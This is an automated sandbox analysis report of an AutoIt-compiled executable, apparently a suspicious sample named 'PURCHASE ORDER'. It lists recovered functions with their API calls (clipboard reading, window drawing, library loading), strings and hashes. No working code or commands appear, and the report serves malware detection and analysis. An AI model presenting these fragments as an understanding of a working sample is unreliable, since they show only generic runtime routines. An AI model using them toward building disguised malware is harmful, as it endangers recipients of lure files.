                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: Window$Create$Object$Global$Rect$DeleteFileSelect$MessageSendShow$AdjustAllocCapsClientCloseCopyDesktopDestroyDeviceFaceFontFreeHandleImageLoadLockMovePictureReadReleaseSizeStockStreamTextUnlock_wcscpy_wcslen
                                                                          • String ID: $AutoIt v3$DISPLAY$static
                                                                          • API String ID: 4040870279-2373415609
                                                                          • Opcode ID: d6fd8d7be04635d93ea84c38fc4cb072183cdb5133bdcfdddae5d23db1010fc6
                                                                          • Instruction ID: fce7466cc8f2b4b34a2e278d60cb4f704f90ff1017bfb666dbfc83d8aba9d67a
                                                                          • Opcode Fuzzy Hash: d6fd8d7be04635d93ea84c38fc4cb072183cdb5133bdcfdddae5d23db1010fc6
                                                                          • Instruction Fuzzy Hash: 3F028C70204301EFD714DF64DE89F2BB7A8AB84705F104A2DFA45AB2D2D7B4E805CB69
                                                                          Function 00441E05 Relevance: 49.8, APIs: 33, Instructions: 276COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • GetSysColor.USER32(00000012), ref: 00441E64
                                                                          • SetTextColor.GDI32(?,?), ref: 00441E6C
                                                                          • GetSysColorBrush.USER32(0000000F), ref: 00441E83
                                                                          • GetSysColor.USER32(0000000F), ref: 00441E8F
                                                                          • SetBkColor.GDI32(?,?), ref: 00441EAA
                                                                          • SelectObject.GDI32(?,?), ref: 00441EBA
                                                                          • InflateRect.USER32(?,000000FF,000000FF), ref: 00441EF0
                                                                          • GetSysColor.USER32(00000010), ref: 00441EF8
                                                                          • CreateSolidBrush.GDI32(00000000), ref: 00441EFF
                                                                          • FrameRect.USER32(?,?,00000000), ref: 00441F10
                                                                          • DeleteObject.GDI32(?), ref: 00441F1B
                                                                          • InflateRect.USER32(?,000000FE,000000FE), ref: 00441F75
                                                                          • FillRect.USER32(?,?,?), ref: 00441FB6
                                                                            • Part of subcall function 00433D5C: GetSysColor.USER32(0000000E), ref: 00433D81
                                                                            • Part of subcall function 00433D5C: SetTextColor.GDI32(?,00000000), ref: 00433D89
                                                                            • Part of subcall function 00433D5C: GetSysColorBrush.USER32(0000000F), ref: 00433DBF
                                                                            • Part of subcall function 00433D5C: GetSysColor.USER32(0000000F), ref: 00433DCB
                                                                            • Part of subcall function 00433D5C: GetSysColor.USER32(00000011), ref: 00433DEB
                                                                            • Part of subcall function 00433D5C: CreatePen.GDI32(00000000,00000001,00743C00), ref: 00433DFD
                                                                            • Part of subcall function 00433D5C: SelectObject.GDI32(?,00000000), ref: 00433E0D
                                                                            • Part of subcall function 00433D5C: SetBkColor.GDI32(?,?), ref: 00433E19
                                                                            • Part of subcall function 00433D5C: SelectObject.GDI32(?,?), ref: 00433E29
                                                                            • Part of subcall function 00433D5C: InflateRect.USER32(?,000000FF,000000FF), ref: 00433E54
                                                                            • Part of subcall function 00433D5C: RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 00433E73
                                                                            • Part of subcall function 00433D5C: GetWindowLongW.USER32 ref: 00433E8A
                                                                            • Part of subcall function 00433D5C: SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 00433EAC
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: Color$Rect$Object$BrushInflateSelect$CreateText$DeleteFillFrameLongMessageRoundSendSolidWindow
                                                                          • String ID:
                                                                          • API String ID: 69173610-0
                                                                          • Opcode ID: d218d880d346c1ecbf0f5b9b78a982ad3551f5cf8a2409a8dc6e180da7254fc7
                                                                          • Instruction ID: 0b0c06e318eae1aa70623bc76f746578ebcda4f465cb69034399d4c57c44293d
                                                                          • Opcode Fuzzy Hash: d218d880d346c1ecbf0f5b9b78a982ad3551f5cf8a2409a8dc6e180da7254fc7
                                                                          • Instruction Fuzzy Hash: BBB14D71508300AFD314DF64DD88A6FB7F8FB88720F504A2DF996922A0D774E845CB66
                                                                          Function 00403E50 Relevance: 45.7, APIs: 14, Strings: 12, Instructions: 236COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: __wcsnicmp
                                                                          • String ID: #NoAutoIt3Execute$#OnAutoItStartRegister$#ce$#comments-end$#comments-start$#cs$#include$#include-once$#notrayicon$#requireadmin$Cannot parse #include$Unterminated group of comments
                                                                          • API String ID: 1038674560-3360698832
                                                                          • Opcode ID: 87a66eadcaf8420a9e8e1157d1f7c7fd58aef90dc088af7a86e197dee8fb1ec4
                                                                          • Instruction ID: b6083b7aed1673b33e689ff2aa7e8f17f47d7310e90ec65f4167159f85ee96f3
                                                                          • Opcode Fuzzy Hash: 87a66eadcaf8420a9e8e1157d1f7c7fd58aef90dc088af7a86e197dee8fb1ec4
                                                                          • Instruction Fuzzy Hash: 5A611471B4071076EA306A229C46FAB735CDF14345F50052FFC01A628BE7ADDA4A86EE
                                                                          Function 00433D5C Relevance: 42.2, APIs: 28, Instructions: 198windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • GetSysColor.USER32(0000000E), ref: 00433D81
                                                                          • SetTextColor.GDI32(?,00000000), ref: 00433D89
                                                                          • GetSysColor.USER32(00000012), ref: 00433DA3
                                                                          • SetTextColor.GDI32(?,?), ref: 00433DAB
                                                                          • GetSysColorBrush.USER32(0000000F), ref: 00433DBF
                                                                          • GetSysColor.USER32(0000000F), ref: 00433DCB
                                                                          • CreateSolidBrush.GDI32(?), ref: 00433DD4
                                                                          • GetSysColor.USER32(00000011), ref: 00433DEB
                                                                          • CreatePen.GDI32(00000000,00000001,00743C00), ref: 00433DFD
                                                                          • SelectObject.GDI32(?,00000000), ref: 00433E0D
                                                                          • SetBkColor.GDI32(?,?), ref: 00433E19
                                                                          • SelectObject.GDI32(?,?), ref: 00433E29
                                                                          • InflateRect.USER32(?,000000FF,000000FF), ref: 00433E54
                                                                          • RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 00433E73
                                                                          • GetWindowLongW.USER32 ref: 00433E8A
                                                                          • SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 00433EAC
                                                                          • GetWindowTextW.USER32(00000000,00000000,00000105), ref: 00433EE1
                                                                          • InflateRect.USER32(?,000000FD,000000FD), ref: 00433F13
                                                                          • DrawFocusRect.USER32(?,?), ref: 00433F1F
                                                                          • GetSysColor.USER32(00000011), ref: 00433F2E
                                                                          • SetTextColor.GDI32(?,00000000), ref: 00433F36
                                                                          • DrawTextW.USER32(?,?,000000FF,?,?), ref: 00433F4E
                                                                          • SelectObject.GDI32(?,?), ref: 00433F63
                                                                          • DeleteObject.GDI32(?), ref: 00433F70
                                                                          • SelectObject.GDI32(?,?), ref: 00433F78
                                                                          • DeleteObject.GDI32(00000000), ref: 00433F7B
                                                                          • SetTextColor.GDI32(?,?), ref: 00433F83
                                                                          • SetBkColor.GDI32(?,?), ref: 00433F8F
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: Color$ObjectText$RectSelect$BrushCreateDeleteDrawInflateWindow$FocusLongMessageRoundSendSolid
                                                                          • String ID:
                                                                          • API String ID: 1582027408-0
                                                                          • Opcode ID: 0b51a09b4c85f12ae70b13129e7bad5c5e259c1925df30aaa8741127af755d25
                                                                          • Instruction ID: aa454ab644ffbff4d2185aee23397a25bdbdaef3ad5a75b83a3ebbbeed3afe32
                                                                          • Opcode Fuzzy Hash: 0b51a09b4c85f12ae70b13129e7bad5c5e259c1925df30aaa8741127af755d25
                                                                          • Instruction Fuzzy Hash: 53710570508340AFD304DF68DD88A6FBBF9FF89711F104A2DFA5592290D7B4E9418B6A
                                                                          Function 0046C604 Relevance: 40.5, APIs: 22, Strings: 1, Instructions: 216clipboardCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • OpenClipboard.USER32(?), ref: 0046C635
                                                                          • IsClipboardFormatAvailable.USER32(0000000D), ref: 0046C643
                                                                          • GetClipboardData.USER32(0000000D), ref: 0046C64F
                                                                          • CloseClipboard.USER32 ref: 0046C65D
                                                                          • GlobalLock.KERNEL32(00000000), ref: 0046C688
                                                                          • CloseClipboard.USER32 ref: 0046C692
                                                                          • IsClipboardFormatAvailable.USER32(00000001), ref: 0046C6D5
                                                                          • GetClipboardData.USER32(00000001), ref: 0046C6DD
                                                                          • GlobalLock.KERNEL32(00000000), ref: 0046C6EE
                                                                          • GlobalUnlock.KERNEL32(00000000), ref: 0046C726
                                                                          • CloseClipboard.USER32 ref: 0046C866
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: Clipboard$CloseGlobal$AvailableDataFormatLock$OpenUnlock
                                                                          • String ID: HH
                                                                          • API String ID: 589737431-2761332787
                                                                          • Opcode ID: 1f8588b948bb152d659cc961560e711d284fc80ef968a1445fa6f6d22cce4332
                                                                          • Instruction ID: ccec0c76267f611a980a6192e38ed766f4c6ddce8b7f15b38bc446a2cb1d96e7
                                                                          • Opcode Fuzzy Hash: 1f8588b948bb152d659cc961560e711d284fc80ef968a1445fa6f6d22cce4332
                                                                          • Instruction Fuzzy Hash: 4D61E5722003019BD310EF65DD86B5E77A8EF54715F00483EFA41E72D1EBB5D9048BAA
                                                                          Function 0045657D Relevance: 38.8, APIs: 19, Strings: 3, Instructions: 287windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • GetCursorPos.USER32(?), ref: 00456692
                                                                          • GetDesktopWindow.USER32 ref: 004566AA
                                                                          • GetWindowRect.USER32(00000000), ref: 004566B1
                                                                          • GetWindowLongW.USER32(?,000000F0), ref: 0045670D
                                                                          • GetWindowLongW.USER32(?,000000F0), ref: 00456720
                                                                          • DestroyWindow.USER32(?), ref: 00456731
                                                                          • CreateWindowExW.USER32(00000008,tooltips_class32,00000000,00000003,80000000,80000000,80000000,80000000,00000000,00000000,00000000,00000000), ref: 00456779
                                                                          • SendMessageW.USER32(00000000,00000432,00000000,0000002C), ref: 00456797
                                                                          • SendMessageW.USER32(?,00000439,00000000,0000002C), ref: 004567C0
                                                                          • SendMessageW.USER32(?,00000421,?,?), ref: 004567D8
                                                                          • SendMessageW.USER32(?,0000041D,00000000,00000000), ref: 004567EE
                                                                          • IsWindowVisible.USER32(?), ref: 00456812
                                                                          • SendMessageW.USER32(?,00000412,00000000,D8F0D8F0), ref: 0045682E
                                                                          • SendMessageW.USER32(?,00000411,00000001,0000002C), ref: 00456843
                                                                          • GetWindowRect.USER32(?,?), ref: 0045685C
                                                                          • MonitorFromPoint.USER32(?,?,00000002), ref: 00456880
                                                                          • GetMonitorInfoW.USER32 ref: 00456894
                                                                          • CopyRect.USER32(?,?), ref: 004568A8
                                                                          • SendMessageW.USER32(?,00000412,00000000), ref: 0045690A
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: Window$MessageSend$Rect$LongMonitor$CopyCreateCursorDesktopDestroyFromInfoPointVisible
                                                                          • String ID: ($,$tooltips_class32
                                                                          • API String ID: 541082891-3320066284
                                                                          • Opcode ID: 25380f5391d2fe641591a116f81b43842710cc101ecbbf85cfa067c854d9f55a
                                                                          • Instruction ID: 3987ef5f26dee50c6234681dd74380f3ee0746d74ffcadc96223edc745891050
                                                                          • Opcode Fuzzy Hash: 25380f5391d2fe641591a116f81b43842710cc101ecbbf85cfa067c854d9f55a
                                                                          • Instruction Fuzzy Hash: 33B18EB0604341AFD714DF64C984B6BB7E5EF88704F408D2DF989A7292D778E848CB5A
                                                                          Function 00454DAA Relevance: 37.0, APIs: 18, Strings: 3, Instructions: 203windowlibraryCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • _wcslen.LIBCMT ref: 00454DCF
                                                                          • _wcslen.LIBCMT ref: 00454DE2
                                                                          • __wcsicoll.LIBCMT ref: 00454DEF
                                                                          • _wcslen.LIBCMT ref: 00454E04
                                                                          • __wcsicoll.LIBCMT ref: 00454E11
                                                                          • _wcslen.LIBCMT ref: 00454E24
                                                                          • __wcsicoll.LIBCMT ref: 00454E31
                                                                            • Part of subcall function 004115D0: __wcsicmp_l.LIBCMT ref: 00411657
                                                                          • LoadImageW.USER32(00000000,?,00000001,?,?,00002010), ref: 00454E65
                                                                          • LoadLibraryExW.KERNEL32(?,00000000,00000032,?,?,?,?,?,?,?,?,?,00000000), ref: 00454E79
                                                                          • LoadImageW.USER32(00000000,00000000,?,00000001,?,?), ref: 00454EB7
                                                                          • LoadImageW.USER32(00000000,?,00000001,?,?,00000000), ref: 00454EFB
                                                                          • LoadImageW.USER32(00000000,00000000,?,00000001,?,?), ref: 00454F2C
                                                                          • FreeLibrary.KERNEL32(00000000), ref: 00454F37
                                                                          • ExtractIconExW.SHELL32(?,00000000,00000000,?,00000001), ref: 00454F94
                                                                          • DestroyIcon.USER32(?), ref: 00454FA2
                                                                          • SendMessageW.USER32(?,00000170,00000000,00000000), ref: 00454FC0
                                                                          • SendMessageW.USER32(?,00000064,00000172,00000001), ref: 00454FCC
                                                                          • MoveWindow.USER32(?,?,?,?,?,00000001), ref: 00454FF1
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: Load$Image_wcslen$__wcsicoll$IconLibraryMessageSend$DestroyExtractFreeMoveWindow__wcsicmp_l
                                                                          • String ID: .dll$.exe$.icl
                                                                          • API String ID: 2511167534-1154884017
                                                                          • Opcode ID: 3f138871eb6b7f703bfd118eaab481945a2915db6d26b5ab3e2ea40d00a2935e
                                                                          • Instruction ID: 777b7c61fe84a0ac0f88e3bb9536c5d4e291b97e4b5026f6b39318954af55ba4
                                                                          • Opcode Fuzzy Hash: 3f138871eb6b7f703bfd118eaab481945a2915db6d26b5ab3e2ea40d00a2935e
                                                                          • Instruction Fuzzy Hash: D461D9711043016AE620DF659D85F7B73ECEF84B0AF00481EFE81D5182E7B9A989C77A
                                                                          Function 00436B3A Relevance: 35.2, APIs: 15, Strings: 5, Instructions: 190COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • GetFileVersionInfoSizeW.VERSION(?,?), ref: 00436B4E
                                                                          • GetFileVersionInfoW.VERSION(?,00000000,00000000,00000000), ref: 00436B73
                                                                          • _wcslen.LIBCMT ref: 00436B79
                                                                          • _wcscpy.LIBCMT ref: 00436B9F
                                                                          • _wcscat.LIBCMT ref: 00436BC0
                                                                          • VerQueryValueW.VERSION(00000000,\VarFileInfo\Translation,?,?,?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 00436BE7
                                                                          • _wcscat.LIBCMT ref: 00436C2A
                                                                          • _wcscat.LIBCMT ref: 00436C31
                                                                          • __wcsicoll.LIBCMT ref: 00436C4B
                                                                          • _wcsncpy.LIBCMT ref: 00436C62
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: _wcscat$FileInfoVersion$QuerySizeValue__wcsicoll_wcscpy_wcslen_wcsncpy
                                                                          • String ID: %u.%u.%u.%u$04090000$DefaultLangCodepage$StringFileInfo\$\VarFileInfo\Translation
                                                                          • API String ID: 1503153545-1459072770
                                                                          • Opcode ID: 008cb01cbb675dac6eb9866d49a054c7095339c3b591b4350c6f773ace1c370f
                                                                          • Instruction ID: f4118b49cd66f9fee818cdfc0bae26735a4a754b0a3131160812af9443992caa
                                                                          • Opcode Fuzzy Hash: 008cb01cbb675dac6eb9866d49a054c7095339c3b591b4350c6f773ace1c370f
                                                                          • Instruction Fuzzy Hash: B54115B264020137D200B7269C83EFF735CDE99715F54091FFE45A2253FA2EA69642BE
                                                                          Function 00452788 Relevance: 34.8, APIs: 23, Instructions: 344COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                            • Part of subcall function 004431E0: __time64.LIBCMT ref: 004431EA
                                                                          • _fseek.LIBCMT ref: 004527FC
                                                                          • __wsplitpath.LIBCMT ref: 0045285C
                                                                          • _wcscpy.LIBCMT ref: 00452871
                                                                          • _wcscat.LIBCMT ref: 00452886
                                                                          • __wsplitpath.LIBCMT ref: 004528B0
                                                                          • _wcscat.LIBCMT ref: 004528C8
                                                                          • _wcscat.LIBCMT ref: 004528DD
                                                                          • __fread_nolock.LIBCMT ref: 00452914
                                                                          • __fread_nolock.LIBCMT ref: 00452925
                                                                          • __fread_nolock.LIBCMT ref: 00452944
                                                                          • __fread_nolock.LIBCMT ref: 00452955
                                                                          • __fread_nolock.LIBCMT ref: 00452976
                                                                          • __fread_nolock.LIBCMT ref: 00452987
                                                                          • __fread_nolock.LIBCMT ref: 00452998
                                                                          • __fread_nolock.LIBCMT ref: 004529A9
                                                                            • Part of subcall function 004523CE: __fread_nolock.LIBCMT ref: 004523ED
                                                                            • Part of subcall function 004523CE: __fread_nolock.LIBCMT ref: 00452432
                                                                            • Part of subcall function 004523CE: __fread_nolock.LIBCMT ref: 0045244F
                                                                            • Part of subcall function 004523CE: _wcscpy.LIBCMT ref: 0045247D
                                                                            • Part of subcall function 004523CE: __fread_nolock.LIBCMT ref: 0045248E
                                                                            • Part of subcall function 004523CE: __fread_nolock.LIBCMT ref: 004524AB
                                                                            • Part of subcall function 004523CE: _wcscpy.LIBCMT ref: 004524D9
                                                                          • __fread_nolock.LIBCMT ref: 00452A39
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: __fread_nolock$_wcscat_wcscpy$__wsplitpath$__time64_fseek
                                                                          • String ID:
                                                                          • API String ID: 2054058615-0
                                                                          • Opcode ID: 983239acf030dd5dbcb525efe1f3094d5bf78e470c43ee0c462dc16c64ee25c2
                                                                          • Instruction ID: 66779ec6e5012556871fefb3c18d5d4f0449fb8b445ab61f685bb60241e2a5ae
                                                                          • Opcode Fuzzy Hash: 983239acf030dd5dbcb525efe1f3094d5bf78e470c43ee0c462dc16c64ee25c2
                                                                          • Instruction Fuzzy Hash: 16C14EB2508340ABD320DF65C881EEBB7E8EFC9714F444D2FF68987241E6799544CBA6
                                                                          Function 004559A8 Relevance: 33.7, APIs: 18, Strings: 1, Instructions: 401COMMON
                                                                          Download Yara Rule
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID: 0
                                                                          • API String ID: 0-4108050209
                                                                          • Opcode ID: 0476511f06c615c4519fb5d0bdcf97e6c9114ef5bab3d74fcb2069946f87bde7
                                                                          • Instruction ID: a4e6889c8706d2a682ad3cc8acca51b009283e1ae9b51da70db0806919efebf9
                                                                          • Opcode Fuzzy Hash: 0476511f06c615c4519fb5d0bdcf97e6c9114ef5bab3d74fcb2069946f87bde7
                                                                          • Instruction Fuzzy Hash: 95C104723403416BF3209B64DC46FBBB794EB95321F04453FFA45D62C1EBBA9409876A
                                                                          Function 004700B0 Relevance: 33.5, APIs: 18, Strings: 1, Instructions: 285windowtimeCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                            • Part of subcall function 0041171A: _malloc.LIBCMT ref: 00411734
                                                                          • GetWindowRect.USER32(?,?), ref: 004701EA
                                                                          • GetClientRect.USER32(?,?), ref: 004701FA
                                                                          • GetSystemMetrics.USER32(00000007), ref: 00470202
                                                                          • GetSystemMetrics.USER32(00000008), ref: 00470216
                                                                          • GetSystemMetrics.USER32(00000004), ref: 00470238
                                                                          • SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 0047026B
                                                                          • GetSystemMetrics.USER32(00000007), ref: 00470273
                                                                          • SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 004702A0
                                                                          • GetSystemMetrics.USER32(00000008), ref: 004702A8
                                                                          • GetSystemMetrics.USER32(00000004), ref: 004702CF
                                                                          • SetRect.USER32(?,00000000,00000000,?,?), ref: 004702F1
                                                                          • AdjustWindowRectEx.USER32(?,?,00000000,000000FF), ref: 00470304
                                                                          • CreateWindowExW.USER32(?,AutoIt v3 GUI,?,?,?,?,?,?,?,00000000,00400000,00000000), ref: 0047033E
                                                                          • SetWindowLongW.USER32(00000000,000000EB,?), ref: 00470356
                                                                          • GetClientRect.USER32(?,?), ref: 00470371
                                                                          • GetStockObject.GDI32(00000011), ref: 00470391
                                                                          • SendMessageW.USER32(?,00000030,00000000), ref: 0047039D
                                                                          • SetTimer.USER32(00000000,00000000,00000028,Function_00061E7F), ref: 004703C4
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: System$Metrics$Rect$Window$ClientInfoParameters$AdjustCreateLongMessageObjectSendStockTimer_malloc
                                                                          • String ID: AutoIt v3 GUI
                                                                          • API String ID: 867697134-248962490
                                                                          • Opcode ID: 2f3c1093d205cc919e8fce6edce52452572e464071e7d7185a704cd66ddcb838
                                                                          • Instruction ID: 96ed3905d942d8c5c267f8207effb08aff50268186fc7250a269a1908d1679c9
                                                                          • Opcode Fuzzy Hash: 2f3c1093d205cc919e8fce6edce52452572e464071e7d7185a704cd66ddcb838
